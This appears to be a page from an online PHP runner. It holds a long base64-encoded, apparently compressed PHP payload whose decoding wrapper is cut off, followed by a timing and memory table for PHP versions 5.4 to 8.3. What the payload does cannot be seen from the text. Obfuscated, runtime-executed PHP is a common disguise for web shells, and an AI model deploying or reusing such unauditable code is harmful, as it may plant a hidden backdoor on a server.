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'))); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0150.00319.57
8.3.30.0130.00619.62
8.3.20.0120.00621.16
8.3.10.0050.00522.78
8.3.00.0060.00319.81
8.2.170.0180.00922.96
8.2.160.0060.01221.20
8.2.150.0030.00624.18
8.2.140.0060.00324.66
8.2.130.0050.00526.16
8.2.120.0070.00318.50
8.2.110.0030.00722.25
8.2.100.0110.00419.61
8.2.90.0000.01020.17
8.2.80.0030.00718.63
8.2.70.0030.00918.75
8.2.60.0070.00419.03
8.2.50.0000.01118.63
8.2.40.0060.00920.06
8.2.30.0000.01021.50
8.2.20.0080.00318.61
8.2.10.0030.00718.97
8.2.00.0030.00719.10
8.1.270.0170.00722.15
8.1.260.0060.00326.35
8.1.250.0030.00628.09
8.1.240.0090.00322.66
8.1.230.0080.00818.36
8.1.220.0000.01018.54
8.1.210.0070.00318.77
8.1.200.0060.00618.23
8.1.190.0030.00718.10
8.1.180.0040.00718.53
8.1.170.0000.01019.51
8.1.160.0070.00322.82
8.1.150.0050.00519.73
8.1.140.0060.00618.38
8.1.130.0060.00318.57
8.1.120.0000.01018.38
8.1.110.0030.00718.23
8.1.100.0030.00718.38
8.1.90.0030.00718.31
8.1.80.0070.00418.28
8.1.70.0040.00718.38
8.1.60.0040.00718.48
8.1.50.0060.00618.49
8.1.40.0120.00318.50
8.1.30.0080.00318.43
8.1.20.0070.00418.61
8.1.10.0000.01018.41
8.1.00.0080.00318.45
8.0.300.0000.01018.77
8.0.290.0000.01117.75
8.0.280.0030.00619.37
8.0.270.0000.00918.17
8.0.260.0040.00418.06
8.0.250.0000.00917.97
8.0.240.0000.00917.81
8.0.230.0030.00617.93
8.0.220.0030.00617.78
8.0.210.0030.00717.90
8.0.200.0030.00617.83
8.0.190.0110.00417.91
8.0.180.0030.00717.79
8.0.170.0000.01117.83
8.0.160.0080.00317.89
8.0.150.0000.01017.81
8.0.140.0030.00917.86
8.0.130.0060.00614.41
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8.0.100.0000.01017.68
8.0.90.0070.00417.75
8.0.80.0130.01317.76
8.0.70.0040.00717.87
8.0.60.0040.00717.93
8.0.50.0000.01017.82
8.0.30.0090.01118.13
8.0.20.0080.01617.83
8.0.10.0070.00317.81
8.0.00.0080.01717.72
7.4.330.0030.00315.18
7.4.320.0040.00417.45
7.4.300.0000.00817.55
7.4.290.0030.00617.35
7.4.280.0000.01417.56
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7.4.250.0000.01117.40
7.4.240.0050.00517.51
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7.4.120.0070.01517.42
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7.4.00.0160.00316.13
7.3.330.0000.00714.09
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7.3.270.0070.01717.40
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7.3.240.0060.01617.49
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7.3.170.0070.02317.28
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7.2.330.0140.01117.53
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7.1.00.0100.07322.53
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7.0.80.0070.04320.66
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5.5.240.0170.05021.08
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5.5.180.0070.06020.87
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5.5.140.0030.06021.08
5.5.130.0100.04721.06
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5.5.110.0130.08320.99
5.5.100.0000.08321.03
5.5.90.0100.08021.02
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5.5.70.0070.08320.78
5.5.60.0030.08720.93
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5.5.30.0070.08020.86
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5.5.00.0070.08320.78
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5.4.390.0000.08719.76
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5.4.350.0100.08019.65
5.4.340.0000.09019.97
5.4.320.0000.09019.88
5.4.310.0030.08319.87
5.4.300.0100.07719.82
5.4.290.0130.05719.74
5.4.280.0100.07719.89
5.4.270.0170.05019.96
5.4.260.0130.07319.74
5.4.250.0070.05719.93
5.4.240.0200.07019.77
5.4.230.0100.06319.80
5.4.220.0000.06019.88
5.4.210.0030.05319.88
5.4.200.0100.07719.81
5.4.190.0200.05319.69
5.4.180.0100.04719.96
5.4.170.0100.08319.86
5.4.160.0030.05319.68
5.4.150.0070.07719.88
5.4.140.0130.04017.36
5.4.130.0070.06717.26
5.4.120.0100.07717.05
5.4.110.0070.07017.34
5.4.100.0100.04317.34
5.4.90.0030.08017.33
5.4.80.0070.06017.15
5.4.70.0170.06317.24
5.4.60.0070.06317.31
5.4.50.0100.07317.32
5.4.40.0100.06717.28
5.4.30.0130.07717.16
5.4.20.0030.08317.10
5.4.10.0070.05317.10
5.4.00.0130.07316.70

preferences:
44.46 ms | 400 KiB | 5 Q